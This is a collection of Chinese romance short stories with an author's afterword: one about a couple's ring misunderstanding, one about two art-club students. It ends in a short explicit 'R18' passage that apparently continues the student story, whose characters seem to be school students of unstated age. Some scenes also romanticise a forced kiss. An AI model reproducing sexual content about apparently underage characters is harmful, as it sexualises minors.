　　……


　　「诶？」

　　「味道怎么样？」

　　「你突然把脸凑那么近，谁反应得过来啊笨蛋。」

　　「甜吗？」

　　「……甜……」

　　「那就好 w」



　　南国微雪

　　2021 年 6 月 18 日

想象力训练 - 证明你喜欢

正文

　　她和他相处已经好几年了，虽说没结婚，但也差不多了，他还送她了一个戒指，不是很贵，但她一直都特别珍惜。但是最近他很可疑。

　　她并不清楚这种感觉是从哪里来的，可能只是女人狐疑又敏锐的第六感。这种感觉一直折磨着她，她想要去相信他，但是心底却一直有一种强烈的不安。有一种坐在高速摩托车后座上的感觉，虽然知道驾驶座上的人，她信得过，但是疯狂倒退的景物天然带给她一种恐惧。

　　直到那一天的到来。

　　她和他是高中就认识的，然后一直相恋到现在，她修心理学研究生，他呢，则出去工作了，赚的钱一方面供她继续追逐她的梦想，一方面补贴家用。

　　对了，她和他已经同居了，有一个自己的小窝。


　　那是一次高中同学聚会，他们有几个同学到这个小窝来玩。不知道谁起的头，大家都很尽兴，吵着嚷着要夫妻俩接一个吻给同学们看看。

　　「你们一直到现在，不给我们证明证明，多亏啊？」

　　「得了吧，让我当着你们的面做这种羞耻的事情，还不如搞死我好了。」他说。

　　「就是，就是，你们就别难为敛了。」一边的堇为他辩解着。

　　堇也是高中同学之一。据敛说，她也到这个城市来工作了，离他们俩住的小窝还不远，经常能碰到。

　　「喂，婉，你丈夫不愿意，你愿意吗？」一旁的同学们哄堂大笑。

　　「我无所谓呀，要现在做更进一步的事情都可以。」她开了个玩笑。

　　「不是吧？」

　　「吓到我了。」

　　「我怎么现在才知道你还有这么大胆的一面啊？」敛似乎也很惊讶。

　　她笑了笑，没说话。看到一边的静，脸色很难看。果然。

　　心中的不安，越来越强烈。


　　觥筹交错，杯盘狼藉，婉和敛担起了主人家的义务，在一旁收拾，任由同学们在他们家里闲逛，坐在沙发上打对着电视屏幕打游戏，嗑瓜子聊天。

　　随后她和他也加入了同学们的队列。

　　「我去洗手间一趟。」静说。

　　「嗯。」敛随口应了，然后目光一直追随着静的身影，连游戏里操纵的那个角色也不管了。

　　目前他跟她在对打，她看到他的角色没了反应，回头去看他，发现他在看着静的背影。

　　心中的不安，终于找到了源头。

　　这么多年的感情，在这一瞬间轰然崩塌，她的心里已经掀起了狂风暴雨，但是看起来仍然镇定自若。仿佛一切都很正常，什么事情都没有发生。

　　仿佛。

　　——她知道的，高二的时候，静喜欢敛的时候，有多么轰轰烈烈，沸沸扬扬，人尽皆知。那时候他也没有明确表示拒绝。

　　——他一直都是这个样子。

　　原来自己一直在不安。她想。

　　只是静的出现引爆了她的这股星星火火，她其实一直觉得自己配不上敛。

　　他温柔，阳光，笑起来很开朗，让人神清气爽，热爱运动，身材诱人不说，学习又好。现在还在一家很厉害的公司上班。

　　自己终究是拴不住他的吗……


　　之后发生了什么，她已经完全不记得了，或者说，她没有那个余力关心了。

　　同学们走后，他的行为表现得尤其诡异，曾经温馨的小窝似乎变成了紧张的谈判桌。她悄悄地观察着他的行为。他注意着她的神情，镇定自若地溜进了他和她居住的卧室，掩了掩门。

　　她悄悄地推开一条缝，把眼睛安在门缝上。

　　敛——他把自己放戒指的那个抽屉打开了，然后对着自己的戒指，露出了一副难以形容的表情，有失落，有紧张，最后看起来似乎很决绝，然后把戒指揣进自己的兜里。

　　她慌忙退回客厅，装作一副镇定的样子。

　　「我出门一趟。」他似乎很急。

　　「嗯，尽快回来。」她和平常一样。

　　从不过问的。

　　她的心终于碎了。


　　她不知道自己怎么撑下去的。自他出门后她便一直悄悄地跟着，然后看见了她的敛——原本是她的敛，追上了静，然后开始攀谈起来。脸上笑得很开心。然后拿出了她的戒指。

　　她终于撑不住了，落荒而逃，逃到自己那个陌生的小窝里，在沙发上呆坐着，呆若木鸡。

　　只能听到时钟的滴答声。

　　时间，似乎过得很慢。

　　「我回来了。」他叹了口气。

　　她没有任何反应。

　　他很奇怪，一般他说这句话的时候，婉都会一副笑脸相迎：「欢迎回家。」

　　他终于注意到了她的异常。

　　接下来几天都在冷战。

　　他曾经很多次想要搭话，但她都不予以任何反应，只是自己做自己的事情。他只能放弃。


　　「那个……我做错了什么吗？」他再次小心翼翼地问。

　　「我在你心中，到底算什么？」

　　他打算开个玩笑糊弄过去，但抬头看见她认真的眼神和严肃的表情，把准备开的玩笑全部咽了回去。

　　「最重要的人，以及，最喜欢的人。」他向来不太擅长说这种话，说得他脸颊发烫。

　　「呵呵。」

　　他却只听见了她的冷笑。

　　「我到底做错了什么？……」

　　「没想到这时候还能说出这种谎话。还装得那么像。」

　　「说谎？为什么你会那么觉得？」

　　「你不是把给我的戒指都送给静了吗？」

　　他彻底愣住了。然后开始笑。

　　在她听来只是彻底暴露之后的无能狂笑。

　　「原来你说的是这个啊……」

　　「你把我当什么了？」她从来没有发过这么大的火。

　　「最重要的人，以及，最喜欢的人。」他正面抱住了她，在她耳边镇定地重复了这句话。

　　那声音很沉稳。很冷静。

　　「放开我！！！」

　　「不放！」他越抱越紧，然后在她耳边仍很镇定地说，「相信我一次，好吗？」

　　这声音莫名地让人很安心，似乎他真的没做什么对不起她的事情。虽说她仍不相信，但还是给了他一次机会，看他能垂死挣扎出什么幺蛾子出来。

　　她点点头。

　　然后他拉着她的手，走进了卧室，然后把手盖在她的手上，让她拉开放戒指的那个抽屉。情形如同大人握着小孩子的手，教人如何写字一样。

　　拉开抽屉，打开盒子，戒指还在。

　　她很惊奇地望向他：「怎么回事？」

　　「你仔细看看是不是还是你的那款戒指？」他笑笑说。

　　「是啊，怎么了？」她左右看了看，发现没什么异样。

　　「你不是觉得我把戒指送给静了吗？」他继续说。

　　「对啊……那怎么……？」

　　她懵了。

　　「我估计你没注意到，静来的时候，手上也有一款同样的戒指。」他不紧不慢。

　　「然后呢？那又怎么了？」她越来越懵。

　　「静……她……把你的戒指掉包了。」

　　「啊……？」她从来没往这方面想过，听到这个事情觉得不可思议，「你是怎么发现的？」

　　「我们俩的名字不是刻在外面的吗？」

　　「是倒是……我记得当初我不太喜欢这种做法，但你执意这么做……」

　　「所幸，这次成了我这次的鉴别方法。」

　　「万一她的那款也刻在外面呢？」

　　「你怎么还帮着她说话呢？……」

　　「假设啦假设……」她有点害臊。

　　「其实不仅仅如此啦，你还记得你有一次骑自行车摔倒吗？」

　　「啊！难道是那个？……」

　　「对。」他会心一笑。

　　她那次骑自行车摔倒，把戒指给不小心蹭到了，刮花了一点，心疼得半死，然后决定不再出这种事情，也为了安全，就把戒指放在抽屉里了，平时不怎么拿出来戴。

　　「但这些都是很微小的事情啊，你怎么发现的？」

　　「反光。」

　　「反光？」

　　「对，她之前戴的戒指和她去洗手间之后戴的戒指反光明显不一样。」

　　「指什么？」

　　「后面戴的戒指，反出来的光，可以很明显地看出来有刻字，而且有些地方很花。」

　　「啊……」

　　「怎么了？」

　　「那你一直盯着她进洗手间也是为了？……」

　　「那时候我不知道她要搞什么事情，一直盯着她是为了监督她。」

　　「这样啊……」她忽然觉得自己有些羞愧。

　　「莫非，你理解成我喜欢她了？」他忽然理解过来，然后邪气一笑，「嗯？」

　　他把她的下巴抬起来，强迫她看向他的眼睛。

　　她有些不敢看他，再加上羞愧和害羞，别过脸去。为了缓解尴尬，找下一个话题：「说到底戒指都很小吧？你怎么会那么关心她的戒指？」

　　「啊，这个你不知道，因为前不久她也是这种打扮，那次我在街上遇见她的时候，她对我说了很过分的话。她那个时候手上是没有戒指的。」

　　「她说什么了？」

　　「她说你配不上我……很过分对吧？」他似乎有点生气。

　　「其实我也这么觉得……」她小声地说，但由于距离太近……

　　她被强迫地转移视线，对上他更加生气的眼睛，然后下一秒就感觉自己被推到了衣柜边。

　　他的脸无限放大，占据自己的整个视野。自己的嘴唇也受到侵略，下巴还被强硬地抬起，她只能硬着头皮迎战。

　　他的这次强吻一直持续到她上气不接下气才放开，然后等她吸了一口气，又开始吻。来来回回反复三次，直吻得她脑袋发晕，面色潮红。

　　「你干嘛这么凶啊！」

　　「下次不许这么说了。我的身边只能有你在。你这么说一次，我吻你一次，看什么时候才能把你吻得清醒过来。下次可就不是这么简单了，说不定你都没有喘气的机会了。」

　　他用着很凶的语气，说了很腻人的话。好像他自己还没察觉到……

　　神经病啊？她又气又好笑，心里一阵安心上涌。

　　自从他开始解释，他便一步步将她心中的不安敲碎。一块一块敲得粉碎。

　　她整理好凌乱的呼吸，接着问：「所以你溜进房间拿戒指也是为了确认吗？」

　　「嗯，虽然看着她进了洗手间，然后看到了不正常的反光。虽说觉得不太可能，但为了保险，最后还是去确认了一下，发现还是不知道什么时候被调包了。应该是我觉得她不会做坏事请，然后跟你们一起玩的时候就没再注意了。那个时候掉包可能性比较大。除此之外我真想不出来了。」

　　「这样啊……你拿着戒指追上她……」

　　「嗯……为了要回来。我想如果再不赶快做出行动，说不定她会干出什么更过分的事情。毕竟她在高中的时候就是那种性格。」

　　「你还知道她喜欢你啊……」

　　「怎么可能不知道……事情闹得那么大……只不过是装傻罢了。」

　　「你那个时候就开始了吗？」

　　「什么？」

　　「喜……喜……喜欢我……」

　　「对啊，一直都喜欢你哦，」他笑了笑，揉乱她的头发，「都老夫老妻了，怎么这时候还不好意思了呢?」

　　「别闹，头发乱了不好梳的……」

　　她抵着头，为了平息自己发烫的脸颊，慌乱地找话题。

　　他笑得更开心了。

　　「怎么样，现在相信了吗？」

　　「相信什么？戒指这件事吗？」她不解。

　　「不全是……不过戒指这件事，相信我了？」

　　「嗯。不全是……还有什么？」她好奇。

　　他笑了笑，紧紧抱住了她，在她耳边温柔地呢喃说：「还有，你是我最重要的人，以及，最喜欢的人这件事。」

　　暴击。

　　他忽然感觉自己腰间的肉非常疼。

　　「相信啦……不要说这么多次啊……你都不害羞的吗……」

　　腰间的肉越来越疼。

　　他一边忍着疼，一边笑。

　　「对了。」两个人同时开口。然后都笑了。

　　「你先说吧。」她退让一步。

　　「嗯，你怎么那么大胆啊？在同学们面前都敢说那种话……我是第一次知道欸，你的那一面。」

　　「啊……这个啊，是试探啦，以前我就觉得静不太对劲。」

　　「这样啊，我还以为你真那么开放呢……」他脸上的笑意更浓了。

　　「你腰上的肉不想要了？」愠怒。

　　「别别别，我错了。」

　　「说起来，我也有事要问你。」

　　「什么？」

　　「为什么你当初要把名字刻在外面啊？……」

　　「啊，这个啊……」他犹犹豫豫的，不知道在顾忌什么。

　　「怎么，还不敢说吗？」她笑笑。

　　「不是啦……是说出来太羞耻了……」

　　「还怕我笑话你不成？尽管说啊！」

　　「因为……太……太喜欢你了……想让所有人都知道……」他低着头，吞吞吐吐地说出这句话。

　　她怔住了。看向了旁边的戒指。

　　上边的 婉♡敛 似乎在见证什么，伤痕累累的刮痕，又似乎在诉说着什么。

写在后面

　　这篇小说的创作构想已经在脑海中浮现了很久了。苦于没有时间写下来。

　　创作这篇小说的起源其实非常简单，只是想传达一种想法——

　　沟通才是解决问题的有效途径，这个看起来非常非常简单的想法。

　　我们每个人都生活在一套由自己的见闻，知识，感受，三观所编织的逻辑里，有时候很难理解别人所做所想。这些都很正常。但是如果这样封闭在自己的世界里就可以了吗？

　　我的家庭经常发生冲突，父亲与母亲的观念似乎相隔几十万光年那样远，我深受其苦不能自拔。于是传达这样的想法变得迫切又必需。但这想法随着时间推进而渐渐湮灭，直到前阵子与朋友爆发冲突与误会，让我又燃起创作的欲望。

　　不知道这样的想法有没有好好地传达到你们那里去。

　　不过因为习惯写爱情小说，可能这一点反倒被爱情这一点给淹没了，如果这样的话，下次就得注意了呢。

　　不过，说实在的，构思情节真是一件苦差事呢。尤其是需要构思一些要利用「叙述欺诈」，尽可能带偏读者的情节，是挺难的一件事情。深深佩服起来那些推理小说作家。

　　字数可能不太像短篇小说，但如果看得开心就好了，那将是我深深的荣幸。

　　愿你们，能与所深爱之人，有效沟通，避免心上寒霜。



　　南国微雪

　　2021 年 3 月 17 日

想象力训练 - 美术生的夜晚

　　当他在户外散步的时候，看到波光粼粼的水面折射出一个女孩子的剪影的时候，不由得怔住了。

　　更准确地说，挪不开脚了。

　　现在时间虽说不上晚，但要是有人现在搬出画架来画画，绝对还是很奇怪的。看夕阳就知道了。

　　但就是这样一幅场景，让他觉得很美。夕阳在她肩膀上洒下金光，这个女孩子竖着铅笔，闭着一只眼，对着前面的景物照比例和参考。站得笔直，但是脸上却不知道因为什么原因，还在笑着。笑得很开心，时不时地还笑弯了腰。

　　要是他有事或者赶路的话，绝对会觉得这个人就是个神经病。

　　反正今天也没什么事，就这样看看也挺好。他心里想。然后找了个不远处的石砖，吹了吹灰，就这样坐了下来。他意外地发现石砖附近的草丛里，小动物还挺多的。

　　天渐渐转暗，月亮从她对面的古建筑里探出头来。

　　他看见她伸了个懒腰，然后把铅笔放在地上的包里。动作很轻。然后起身四处张望着。于是他也起身，准备离开了。说实在的，他都不知道为什么要看她这么长时间，或许能静下心来吧。

　　但是，他感受到有个很奇怪的感觉从脚踝传来。回头一看，是一只灰白相间的花猫用两只爪子挠住了他的裤脚。他蹲下来，跟这个小淘气鬼握了握手，把它的爪子稳稳地放到地上。然后感觉自己被一股阴影笼罩了。

　　“ 啊，不好意思，欣欣给你添麻烦了。 ”

　　是一个很甜的声音。

　　他站起身来，笑了笑：“ 没有没有，我还挺喜欢猫的。”

　　“ 这样啊，看得出来呢。”女孩子笑了笑。

　　“ 看得出来吗？”他很诧异。

　　“ 是的，因为是蹲下来的，动作还很轻呢。”

　　“ 啊，原来是这样啊。”他挠了挠头。没想到这人观察还挺仔细的。

　　“ 那么……”

　　嗯？

　　女孩往前迈了一步，凑到他跟前，从下往上仰视着他，两手背在背后，马尾在后面晃了一晃，笑着说：“ 那么……你也喜欢我吗？”

　　他那一瞬间，心脏骤停。

　　欣欣还在不知疲倦地挠他的裤腿。


　　“ 原来你的脸可以这么红啊。” 她在旁边捂嘴偷笑。就没停过。

　　“ 你以为我像你啊！” 他朝她翻了一个白眼。

　　她可是把他的初印象毁得一干二净，他刚开始真的以为，她就是他想象中的那种，天真纯洁无暇的白莲花。现在看来还是当初他有事或者赶路的时候的直觉比较正确。

　　她很喜欢画画，现在在上的学校里面，参加的社团也是美术部，并且还是社长。至于他的话，自认为没什么兴趣爱好，就是喜欢看漫画，偶尔打打游戏什么的。

　　这个女神经兼自恋狂已经折磨了他几年了。刚才还在嘲笑他纯情来着，至于为什么会想起他们初次相见的经历，那是因为她的画画课题是这个。

　　邂逅。

　　邂逅在人们普通的印象里就蕴含着美好的感觉。要不然就是相遇了。

　　“ 所以你准备怎么画？” 他问道。

　　“ 不知道。” 她很诚实。

　　“ 亏我白想了。”

　　“ 怎么能叫白想呢，起码我看见了你这么纯情的一面啊。” 她还在笑。

　　他真想把她按在地上打一顿，能有多狠就有多狠。

　　“ 要是你还这么纯情可追不了女孩子啊！” 她似乎还是没有停下来的意思。

　　两人正在笑着，指导老师突然进了社团活动室，对着她招了招手，叫她去办公室。

　　他就按照惯例，收拾收拾东西去校门口等她。

　　校门口有家书店，他一直很喜欢，虽说进去都是看漫画书来着。有时候他也会看一看类似于村上春树啊，舒婷啊，朱自清啊这样的文学大家，但终究还是不太喜欢。最喜欢的还是漫画，尤其是一本叫《云恋》的恋爱漫画。虽说这种年纪了，还是个男孩子，看这些感觉不太好意思，但还是敌不过喜欢。每周都会去买来看。硬要说喜欢的原因的话，可能有一点原因可能是，他觉得男主角和他比较像吧。

　　这周也是一样，买了新本的，封面写着：“ 下一话，最终话！两人究竟会迎来怎样的结局呢？”

　　要完结了啊。他心里想着，感觉有点可惜。在这个书香满溢的书店看完之后，伸了伸懒腰，走出去，看到被夕阳点着了一样的云，想起来，自己和她第一次相见似乎也是这个画面。

　　然而她还没有出来。

　　半个小时……

　　一个小时……

　　一个半小时……

　　他有种不好的预感。

　　兜里的手机响了起来，是一条短信：“ 对不起，耽误了这么久，但是你还是先回去吧。”

　　身体已经先于意识动了起来。他狂奔进了学校。

　　火烧云最后的一丝热量都耗尽了，世界由月亮掌管，然而月亮却像是接触不良的灯泡一样，时亮时暗。

　　这样的光亮在寂静无人的学校里显得尤其诡异。

　　他把艺术楼，教学楼，实验室，宿舍楼等等全找完了一遍，还是没有见她的人影。他的心凉了一半。拖着沉重的步伐回到了美术室——这个和她待的时间最多的地方。

　　这是他第一个找的地方，但是找翻了天都没见人，所以她肯定不在。

　　他靠着窗户下面的墙壁坐了下来，缩成一团。看着忽然亮起来的银白月光打在一众画架上，打在黑板上，打在黑板上的 “ 邂逅 ” 上。


　　我还是把那个笨蛋弄丢了啊。

　　现在学校大门肯定也关了，还是想想今晚怎么过吧。会感冒的，在这里睡一晚。

　　不知道她现在怎么样了。好担心啊。

　　他双手抱膝，呈体育坐姿势靠在墙上，看着自己的鞋尖，又看了看专属于她的那个画架，眼里尽是哀伤。然后他注意到自己手上还拿着《云恋》的漫画书，都没时间放下来，一直拿着它跑。

　　自嘲地笑了笑。

　　然后用力扔了出去。

　　咣——

　　也不知道飞到了美术室哪里，只听到一声清脆的响声。

　　然后他继续低下头去。

　　他——真的很担心她。

　　“ 不是叫你回去了吗？” 他听到一声提示音，打开手机，映入眼帘的是这几个字。

　　他急忙站起身，四下张望，呼吸急促。

　　能看到月光照耀下，他胸膛快速地起伏着。

　　“ 你在哪里？”

　　编辑，发送。

　　……

　　没有回应。

　　那个笨蛋！

　　干什么啊！

　　为什么不回复啊！

　　等我找到你，看我不把你狠狠说一顿。

　　然后冷静下来，开始分析。他是靠窗坐下的，所以应该是从外面看到的。他决定先从对面几栋教学楼开始找。虽说他也不知道那个笨蛋为什么会跑到那几栋楼里面去，但也没空细想了。

　　打开美术室的门，出去。

　　不知道过了多久，也不知道是晚上几点，只知道月亮已经挂在天空正上方了。一众星星和月亮一起俯视着大地。月亮的银光似乎稳定下来了，把树的影子剪得煞是漂亮，似乎连风吹过的沙沙声都为之赞美。

　　两趟，都没找到她。

　　但他已经很累了。

　　打开美术室，回来。

　　准备就这样在墙角窝一晚上。

　　或许明天醒来就能看见她了吧。要是还有力气，把窗帘卸下来盖在身上，或许还不会那么冷，也不会感冒。但他已经累了，无论是身体还是心理。

　　咣啷——美术室的门被他关上了。

　　然后他感觉自己的衣角被人拉住了。

　　他还蛮怕这些的，但眼下真的不想理这些了，就想好好睡一觉，然后睁眼能看到她。

　　“ 要是鬼的话，我还有个人没找到，不能跟你走，以后再来吧。”

　　鬼使神差地，说出了这句话。

　　“ 噗—— ”

　　身后传来了一阵笑声，那个声音，他绝对不可能认错。

　　他转过身。

　　正是她。

　　“ 你还是这么有个性啊。”


　　他本来想痛骂她一顿，但是看她之后目光黯淡下来的样子，又心软了，于是找了块地方，拉着她一起坐了下来。还扯了张超大的素描纸垫在地上。看得她一愣一愣的。

　　“ 这么做不太好吧？”

　　“ 咱们起来的时候再翻一个面放回去，不就什么都没发生了吗。”

　　“ 好缺德啊……你。” 她嘴上这么说着，但是心里一暖。

　　“说吧，怎么回事？” 他切换到温柔的声线，问她。

　　每次他这种声音出来的时候，她就直想抱着他哭一场。每次他这种声音出来的时候，都能击中她的软肋。

　　她开始跟他说起今天指导老师对她说的那些话。那些有些过分的，又无可奈何的话。

　　指导老师说她画油画，水彩什么的虽说比其他人好，但还是有点差劲。而且教导主任也在旁边，说她文化课也跟不上，在现行的教育制度上，是念不上大学的，用词比指导老师更狠，说得她面红耳臊。她在学校里是很有名的，是美术生的女神和希望，但是她一看那些数学符号，史料什么的，还是脑袋就疼。她把这些一五一十地都给他说了。

　　“ 但是这些还好，不是那么致命，” 她补充了一下，“ 最为致命的，是他说的后面那个消息。”

　　指导老师说，她迄今为止，在她的美术生涯里，她最为得意的那副画作，没有获奖。

　　那是个全国性的比赛。她交的是一副男青年全身图，素描，那个男青年正在书店里看书。老师说她这个模特，构图，动作什么的都很奇怪，但是不是画技上的奇怪，类似于《蒙娜丽莎》的微笑那样的，比较隐秘的奇怪。所以说意外地很有特色，感觉能试一试，她自己也很满意。

　　这个比赛对她来讲很重要。不仅仅是画技成长的证明。

　　“ 为什么你对成绩不好那么伤心呢？” 他有些奇怪，照理来说她的性格不会这样的。要是真这么容易打击到她，那她就不会这么自恋了，也不会被她折磨这么久了。

　　“ 真的要听吗？” 她似乎鼓起了勇气。

　　“ 嗯。”

　　“ 那你也要告诉我一件事。”

　　“ 什么？”

　　“ 为什么我告诉你先回去，你却还是回来找我了呢？”

　　他狂晕。

　　“ 行。”

　　她看着他的眼睛，示意他先开口。他扶了扶额头，叹了口气。就是因为他心太软，所以这几年都是被她压着欺负的啊。想了想这些乱七八糟的，然后缓缓开口。

　　“ 你记得我们第一次见面吗？”

　　“ 嗯。”

　　“ 当时我问你为什么会问那种吓死人不偿命的问题，你是怎么回答的？”

　　“ 嗯……我想想……好像是因为我观察到了你在旁边看了我很久？”

　　“ 对，所以后来我跟你染上了一样的毛病，就是喜欢观察别人，” 他顿了顿，继续说，“ 可能你自己不知道，但是你每次跟我说让我先回去的时候，一定都会带上你离开的目的，可能是你的习惯吧，但是你这次没有。所以我想肯定是你出事了。”

　　“ 这样啊，看来是我把你带坏了。” 她听完愣了一下，然后开始笑。

　　“ 还有其他的吗？我的习惯，之类的…… ” 她有些好奇，他能观察她到什么程度。

　　“ 我在校门口那家书店没看完书的时候，你会在旁边等着我；每次穿衣服的时候，你都会把袖口往里折，虽说我不知道原因；喝完奶茶一定会咬吸管；做作业做不下去的时候会开始转笔；每天早上见到你的时候，要是衬衫什么的，最上面那颗纽扣一定是扣着的…… ”

　　他摸了摸脖子，不好意思地笑了笑：“ 目前只能想起这么多了。” 然后看了看她，发现她怔住了。

　　她越听越觉得心里五味杂陈。原来他一直在自己身边这么近，就这样看着自己。

　　直到他用手在她眼前晃了晃，她才反应过来。

　　“ 该你了。”

　　“ 啊，成绩啊……” 她感觉有些难以启齿，但最终还是狠下心，“ 其实成绩本身无所谓的，但是这个成绩，肯定跟你上不了同一所大学啊……”

　　他一愣。

　　她这么深的理由，他竟一直不知道。就算这样天天观察着她。

　　为了缓解尴尬，他开始问起另一个问题：“ 话说，为什么我找了两趟，都没能找到你啊。我都快找得绝望了。你到底藏哪儿去了？”

　　她听完问题，笑了一下，开始转起手指：“ 这个嘛，刚被教导主任骂完，本来想去楼顶吹吹风来着，然后发现没开门，就在楼梯口坐着了。但是我估计你没有找到那么高的楼层来。然后觉得没意思，就回了美术室了。”

　　“ 但是我第一次回来的时候没看见你啊？” 他觉得很奇怪。

　　“ 你都找过这里，认为我不在了，就没有再找了吧？”

　　“ 是倒是……但是也没有藏人的地方啊，这里……” 他看了看周围，然后突然发现了那个堆画架的角落。上面还盖了一块布，可能是怕落灰吧。

　　“ 不会是那里吧？” 他指了指那堆画架。

　　她点了点头。

　　他现在只想吐血。

　　“ 你发消息也是在那块布下面发的？”

　　她点了点头。

　　他觉得有点生无可恋了。

　　怪不得她能看见他，到他第二次回来的时候，还能这么自然地出现在他背后。

　　“ 我第二次去找你的时候，你都不阻止一下的？”

　　“ 我想看看你能不能找到我，” 她听完了这个问题，突然开始笑，“ 谁知道你那么白痴，又从美术室跑出去。”

　　“ 我这不是寻思着我靠窗坐下，对面能看见嘛。”

　　“ 谁让你脑回路那么清奇。” 她笑声不止。

　　却把来自他的感动，悄悄藏在了心里。

　　“ 话说，你喜欢看这种书啊？” 她突然拿出那本漫画书。上面有些灰迹和污痕，看来是不知道什么时候被她捡起来了。

　　“ 怎么在你手上？”

　　“ 趁你找我的时候捡起来的，这破书差点砸到我，” 她顿了顿，开始调侃，“ 原来你在书店看的都是这种书啊。”

　　“ 怎么了？”

　　“ 只是没想到啊，一个男孩子，还看这种酸酸甜甜的少女漫画。” 她又开始拿他打趣。

　　“ 男孩子怎么了？不能看啊？看少女漫画惹着你了？” 他翻了个白眼。

　　“ 《云恋》啊，啧啧啧。” 她开始咂嘴。

　　看她这副样子，估计又要拿他开涮了，于是他决定不理她，而是站起身来。

　　“ 干嘛？” 她仰视着他，有点懵。

　　“ 帮你释放压力。这两天你的状态我都看不下去了。” 他说完就不由她分说，拉起她的手就往前走。

　　拽得她手疼。

　　他一路把她拉到侧校门附近，然后顺着一条秘密通道走向了学校里面的山顶上。学校目前还没想好这块地用来干什么，就一直留着了，也不知道他从哪儿找到的这条路，平时来讲都是禁止进入的。

　　借着月光走，一切感官都被放大，一路上都是蝉鸣，还有微风拂过皮肤带来的清凉。

　　夏夜，在此刻如此美好。

　　最终他们走到了山顶。路不长，但也说不上近。

　　眼前是广阔无垠的视野，包括远处正在建设的塔吊，摩天大楼，还有花花绿绿的霓虹。平日被教学楼遮挡起来的景象，此时尽收眼底。而上方，是一片广袤的星空。

　　月亮正圆，颇有 “ 呼作白玉盘 ” 的韵味。

　　“ 怎么样？还不错吧？” 他看起来颇为得意。

　　“ 你是怎么找到这里的？”

　　“ 秘密。” 他眨了眨眼。

　　“ 这就是你舒缓压力的方式吗？” 她笑了笑。

　　“ 不全是，” 他也笑了， “ 想见识一下吗？”

　　“ 嗯。” 她点了点头。

　　“ 看着啊。” 他做好了心理准备。

　　深吸了一口气，然后大喊：“ 教导主任是个大笨蛋！！！”

　　这一声把她吓得一哆嗦。她战战兢兢地问：“ 这都几点了？这么喊没问题吗……”

　　“ 谁知道是我们喊的呢？” 他笑了笑，“ 况且声源还在这山上。”

　　“ 也是。”

　　“ 你也来嘛，很解气的，喊一声，就像我刚才那样，把教导主任骂回去。” 他笑了笑。

　　费了九牛二虎之力，终于是把她说动了，然后他就这样看着她，看她深吸一口气。

　　“ 男生都是大笨蛋！！！”

　　他傻眼了。

　　“ 怎么样？还不错吧？” 她得意地挺起胸。

　　“ 不错你个鬼啊，叫你骂教导主任呢，这下倒好，把我也一起骂了。” 他无语了。

　　“ 哼哼~” 她更得意了。

　　“ 话说，咱们今天在哪儿过夜啊？”

　　下山途中，她突然想起这个严峻的问题。

　　“ 就在美术室吧。明天起来也不用那么着急了，” 他想了想，“ 况且那儿还有布，不会那么冷。”

　　“ 行吧。”


　　在美术室，他们拿了十多张素描纸用来铺床，看着凌乱的地上，他们自己都忍不住笑。

　　收拾得差不多了，准备睡这为数不多的几个小时的觉的时候，他忽然停下了手中铺床的动作。

　　“ 以后不许这么做了。”

　　“ 嗯？”

　　“ 我很担心你。”

　　最简单直白的五个字，就这样直直闯进她的心里。

　　“ 放心，以后应该不会了。” 她满不在乎地说。她的自尊心不允许她表现出来。

　　他忽然拉住她铺床的手，就这样把她逼到了墙上，“ 我要一个承诺。”

　　“ 不这样做我没办法放心，你消失的时候我真的不知道该怎么办才好了。”

　　借着月光，她看到了他脸上的表情。那是个很复杂的神情。有期待，也有害怕和不安。

　　“ 你还是第一次这么强势。” 她只能通过打趣来掩盖她狂跳的内心。

　　“ 快说。”

　　“ 行。”

　　她认真地看着他的眼睛：“ 以后，我不会再让你这么不安了。”

　　他也回看着她的眼睛。

　　“ 我说完了，你就没什么想说的吗？比如不管我的意见拉着我到处跑什么的？” 她在他的臂弯下对着他笑，她现在被逼到墙壁上，无处可逃，只能反客为主。

　　“ 那……要听一听答案吗？” 他咽了一口口水。

　　“ 什么答案？” 她心提到了嗓子眼。

　　“ 第一次见面，你问我的那个问题。” 他脸上满是认真。

　　“ 我想，应该已经不需要了吧。” 她笑了笑，闭上了眼。

　　他也旋即闭上了眼。

　　星空。

　　学校。

　　洒满银光的美术室。

　　一个迟到的吻。


　　第二天。

　　“ 你想好那副画怎么画了吗？” 他漫不经心地问。

　　“ 想好了，并且我要拿它去参赛。” 她认真地说。

　　“ 不会吧？那可是你最不擅长的绘画类型。” 他吃了一惊。

　　“ 我很确定。”

　　然后，那几天，她都在画室里全力作画。

　　没有任何人打扰她。就连他也不敢。她这次作画时散发的气场，让任何人都心惊。如果说以前叫做果断，那么这次可以说是决意。

　　参加的比赛，还是那个比赛。

　　日子一天天过去，她的成绩因为他的辅导，也日益增长。他很庆幸平时功课没有落下，在这个时候能够帮助她。

　　然后终于熬到了比赛颁奖的那一天。他现在都还记得那一天，她接过金奖的时候，脸上的笑尤其开心。与金奖一起的，还有她交上去的画，只不过被组委会装裱起来了。

　　但是那画看起来有点奇怪。不是四四方方的画纸，而是四个角被剪掉了，剪掉的形状好像是心形。可能是她表达方式的一种手段吧。

　　画上的内容是一副画架，上面有素描纸，画架前面是古建筑，不远处坐了一个人，看摸样好像是个年轻男子。奇怪的是，素描纸上画的并不是古建筑，而是那个男子。

　　这是第一次，他完完整整的看到的她的这幅作品。

　　他笑着叹了口气。

　　为了庆祝这次胜利，她给他买了他最喜欢看的《云恋》漫画书，还一起去吃了一顿火锅。

　　解散以后，他回到他自己的家中，开始看起《云恋》的最终话。这阵子太忙了，一直辅导她的功课，还有杂七杂八什么的，一直都没买。就算买了也没时间看。

　　也幸亏不知道什么原因，最终话时间拖得特别久，才让他能差不多赶上。

　　看到最终话倒数两页的时候，他发现中间夹了四个心形的纸片，上面写着 “ 我喜欢你 ” 四个大字。

　　他看到她做的这个小把戏，摇摇头笑了笑，便把那四个纸片挪到一边去了。

　　最终话讲的是女孩子去参加了比赛，然后画画获了奖。于是便把画纸的四个角落剪了下来，写上 “ 我喜欢你 ” 四个大字，悄悄塞在男孩子的书里。算是有了一个美好的结局。可喜可贺。

　　他看完了。然后发现有点不对劲，后知后觉地看了看她的那个小把戏，和漫画里面的内容。

　　原来，她一直都在表明心意。

　　就连作品名字都是。

　　只是他一直不知道。



　　南国微雪

　　2021 年 1 月 11 日



















































R18 部分

　　当晚，她终于收到了这么久以来，作为女孩子的幸福。他很温柔。但是凶猛起来的时候也很要命。

　　明明是第一次，他后面却像野兽一样突刺，虽说她也很舒服，但第一次就体验到连续高潮，也不知道是哭该是笑。

